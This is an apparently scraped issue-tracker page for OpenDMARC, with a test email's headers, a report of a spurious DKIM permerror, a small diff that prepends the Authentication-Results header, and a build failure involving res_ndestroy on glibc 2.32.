	h=Received-SPF:To:Subject; b=SOtAxKkZGxg5p+C1NWt7tvAieQ4OLrQtfytvRR8QHZkWtQx3mPdb7Vu/aqV96BpEGj6j7UwXvYdP0hmnr3W1SjHJtcxNzYodz9BvTaKu88u29Ekhhq7ewzG8XhXddjS4a6hjBV0QYG6Q3skS7jCSCgSptyKzySqJICl0v4nq2mbMNFASs6jgbBc+EhaYwaGAPq1D9xC6DZ+3IS+ih8hkqtAiHcg8QV163yeAp6zGEXRjGRcZafEugc+A5S7E1F+G4j8F+GhLywlWV4QeVh2+U+wiuQgSQj6TR4ba6Uvp7FqVMWEk6kdnWHh0Zcg+j+SY6Uo5sOSy5RzJWP44Ae8tzg==
ARC-Authentication-Results: i=1; raven; arc=none
Authentication-Results:mx.layer-7.net; dkim=permerror (bad message/signature format)
Received: from magpie.layer-7.net (unknown [IPv6:2001:a62:611:d702:74bb:e4c5:59d6:8f68])
	by mx.layer-7.net (Postfix) with ESMTP id 7B6343EB36
	for <[email protected]>; Sat,  5 Jan 2019 18:49:10 +0100 (CET)
To: [email protected]
Subject: Provoking Softfail DMARC with SPF no DKIM and policyd-spf
X-Sorted: Default

Test for Provoking Softfail DMARC with SPF no DKIM and policyd-spf

Now it says: dkim=permerror (bad message/signature format), although there is no trace of a DKIM signature at all in the mail.

Really prepend Authentication-Results header

as this is a trace header.

diff --git a/opendmarc/opendmarc.c b/opendmarc/opendmarc.c
--- a/opendmarc/opendmarc.c
+++ b/opendmarc/opendmarc.c
@@ -3042,7 +3042,7 @@ mlfi_eom(SMFICTX *ctx)
                         authservid, dfc->mctx_fromdomain);
 #endif
 
-               if (dmarcf_insheader(ctx, 1, AUTHRESULTSHDR,
+               if (dmarcf_insheader(ctx, 0, AUTHRESULTSHDR,
                                     header) == MI_FAILURE)
                {
                        if (conf->conf_dolog)
@@ -3336,7 +3336,7 @@ mlfi_eom(SMFICTX *ctx)
                         conf->conf_authservidwithjobid ? dfc->mctx_jobid : "",
                         aresult, apolicy, adisposition, dfc->mctx_fromdomain);
 #endif
-               if (dmarcf_insheader(ctx, 1, AUTHRESULTSHDR,
+               if (dmarcf_insheader(ctx, 0, AUTHRESULTSHDR,
                                     header) == MI_FAILURE)
                {
                        if (conf->conf_dolog)

configure.ac change for res_ndestroy breaks build

The change to use res_ndestroy() fails on my system which does not have the function - it uses res_nclose().
This changes replaces res_nclose() with res_ndestroy() which is non-existent.
glibc 2.32 on linux

Somehow the configure incorrectly finds res_ndestoy() which causes the ld to fail with missing function.

This is in develop branch
thanks.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.